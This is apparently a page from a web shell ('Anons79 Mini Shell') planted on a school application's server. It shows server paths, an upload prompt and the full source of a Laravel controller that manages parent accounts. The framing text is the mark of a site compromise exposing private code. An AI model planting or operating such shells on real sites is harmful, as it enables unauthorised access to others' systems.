Anons79 Mini Shell

Directory : /home/aplikasiposinfo/www/reswara.samarinda.app/app/Http/Controllers/
Upload File :
Current File : /home/aplikasiposinfo/www/reswara.samarinda.app/app/Http/Controllers/OrangTuaController.php

<?php

namespace App\Http\Controllers;

use App\Helpers\RoleHelper;
use App\Models\OrangTua;
use App\Models\Siswa;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\DB;
use Illuminate\Support\Facades\Log;
use Spatie\Permission\Models\Permission;
use Spatie\Permission\Models\Role;
use Illuminate\Routing\UrlGenerator;


class OrangTuaController extends Controller
{
    /**
     * Display a listing of the resource.
     */

     public $breadcrumbs;
     public $title = "Orang Tua";
     public $url = "orang_tua";
     public $menu = "orang tua";

    public function __construct(UrlGenerator $urlGenerator)
    {
        $this->breadcrumbs = [
            ['title' => 'Home', 'url' => $urlGenerator->route('dashboard')],
            ['title' => 'Pengaturan Aplikasi', 'url' => "#"],
            ['title' => $this->title, 'url' => $urlGenerator->route($this->url.'.index')],
        ];
    }

    public function index()
    {   
        if(!Auth()->user()->can('view '.$this->menu)){            
            return back()->with('error', 'Anda Tidak Memiliki Hak Akses Untuk Membuka Halaman Ini');
        }
        $breadcrumbs = $this->breadcrumbs;
        
        $title = $this->title;
        $url = $this->url;
        $menu = $this->menu;
        
        $datas = User::role('Orang Tua')->get();
        return view('pages.orang_tua.index', compact('title', 'url', 'menu', 'datas', 'breadcrumbs'));
    }
    
    /**
     * Show the form for creating a new resource.
     */
    public function create()
    {
        if(!Auth()->user()->can('create '.$this->menu)){            
            return back()->with('error', 'Anda Tidak Memiliki Hak Akses Untuk Membuka Halaman Ini');
        }
        $breadcrumbs = $this->breadcrumbs;
        
        $title = $this->title;
        $url = $this->url;
        $menu = $this->menu;

        $siswas = Siswa::all();
        return view('pages.orang_tua.create', compact('title', 'url', 'menu', 'siswas', 'breadcrumbs'));

    }

    /**
     * Store a newly created resource in storage.
     */
    public function store(Request $request)
    {   
        if(!Auth()->user()->can('create '.$this->menu)){            
            return back()->with('error', 'Anda Tidak Memiliki Hak Akses Untuk Membuka Halaman Ini');
        }

        if ($request->password != $request->c_password) {
    		return back()->with('error', 'Mohon Periksa Kembali Password Yang Anda Masukkan')->withInput();
        }

        $request->validate([
    		'username' => 'required|unique:users,username',
            'siswa_id' => 'required',
            'nama_lengkap' => 'required',
            'no_identitas' => 'required',
            'jenis_kelamin' => 'required',
            'agama' => 'required',
            'tempat_lahir' => 'required',
            'tanggal_lahir' => 'required',
            'alamat' => 'required',
            'nomor_hp' => 'required',
    		'password' => 'required',
    		'c_password' => 'required|same:password',
        ]);

        DB::beginTransaction();
        try {
            $user = User::create([
                'nama' => $request->nama_lengkap,
                'username' => $request->username,
                'password' => bcrypt($request->password),
            ]);

            $user->assignRole('Orang Tua');

            $orang_tua = OrangTua::create([
                'user_id' => $user->id,
                'siswa_id' => $request->siswa_id,
                'nama_lengkap' => $request->nama_lengkap,
                'no_identitas' => $request->no_identitas,
                'jenis_kelamin' => $request->jenis_kelamin,
                'agama' => $request->agama,
                'tempat_lahir' => $request->tempat_lahir,
                'tanggal_lahir' => $request->tanggal_lahir,
                'alamat' => $request->alamat,
                'nomor_hp' => $request->nomor_hp,
            ]);
            
            DB::commit();
            return redirect()->route($this->url.'.index')->with('success','Berhasil menambahkan '.$this->title);
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollback();
            Log::error($th);
            return back()->with('error','Gagal menambahkan '.$this->title.' : ' . $th->getMessage())->withInput();
        }
    }

    /**
     * Display the specified resource.
     */
    public function show(OrangTua $orang_tua)
    {
        //
    }

    /**
     * Show the form for editing the specified resource.
     */
    public function edit(OrangTua $orang_tua)
    {
        if(!Auth()->user()->can('edit '.$this->menu)){            
            return back()->with('error', 'Anda Tidak Memiliki Hak Akses Untuk Membuka Halaman Ini');
        }
        $breadcrumbs = $this->breadcrumbs;

        $title = $this->title;
        $url = $this->url;
        $menu = $this->menu;

        $siswas = Siswa::all();
        return view('pages.orang_tua.edit', compact('title', 'url', 'menu', 'siswas', 'orang_tua', 'breadcrumbs'));
    }

    /**
     * Update the specified resource in storage.
     */
    public function update(Request $request, OrangTua $orang_tua)
    {
        if(!Auth()->user()->can('edit '.$this->menu)){            
            return back()->with('error', 'Anda Tidak Memiliki Hak Akses Untuk Membuka Halaman Ini');
        }

        $request->validate([
    		'username' => 'required|unique:users,username,'.$orang_tua->id,
            'siswa_id' => 'required',
            'nama_lengkap' => 'required',
            'no_identitas' => 'required',
            'jenis_kelamin' => 'required',
            'agama' => 'required',
            'tempat_lahir' => 'required',
            'tanggal_lahir' => 'required',
            'alamat' => 'required',
            'nomor_hp' => 'required',
        ]);

        DB::beginTransaction();
        try {
            if($request->password){
                if ($request->password != $request->c_password) {
                    return back()->with('error', 'Mohon Periksa Kembali Password Yang Anda Masukkan')->withInput();
                }
                
                $orang_tua->user->update([
                    'password' => bcrypt($request->password),
                ]);
            }

            $orang_tua->user->update([
                'nama' => $request->nama_lengkap,
                'username' => $request->username,
            ]);

            $orang_tua->update([
                'siswa_id' => $request->siswa_id,
                'nama_lengkap' => $request->nama_lengkap,
                'no_identitas' => $request->no_identitas,
                'jenis_kelamin' => $request->jenis_kelamin,
                'agama' => $request->agama,
                'tempat_lahir' => $request->tempat_lahir,
                'tanggal_lahir' => $request->tanggal_lahir,
                'alamat' => $request->alamat,
                'nomor_hp' => $request->nomor_hp,
            ]);

            DB::commit();
            return redirect()->route($this->url.'.index')->with('success','Berhasil mengubah ' . $this->title);
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollback();
            Log::error($th);
            return back()->with('error','Gagal mengubah '.$this->title.' : ' . $th->getMessage())->withInput();
        }
    }

    /**
     * Remove the specified resource from storage.
     */
    public function destroy(OrangTua $orang_tua)
    {
        if(!Auth()->user()->can('delete '.$this->menu)){            
            return back()->with('error', 'Anda Tidak Memiliki Hak Akses Untuk Membuka Halaman Ini');
        }
    
        DB::beginTransaction();
        try {
            $orang_tua->user->syncRoles([]);
            $user = $orang_tua->user;
            $orang_tua->delete();
            $user->delete();
            DB::commit();
            return redirect()->route($this->url.'.index')->with('success','Berhasil menghapus ' . $this->title);
        } catch (\Throwable $th) {
            //throw $th;
            DB::rollback();
            Log::error($th);
            return redirect()->route($this->url.'.index')->with('error','Gagal menghapus '.$this->title.' : ' . $th->getMessage());
        }
    }
}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]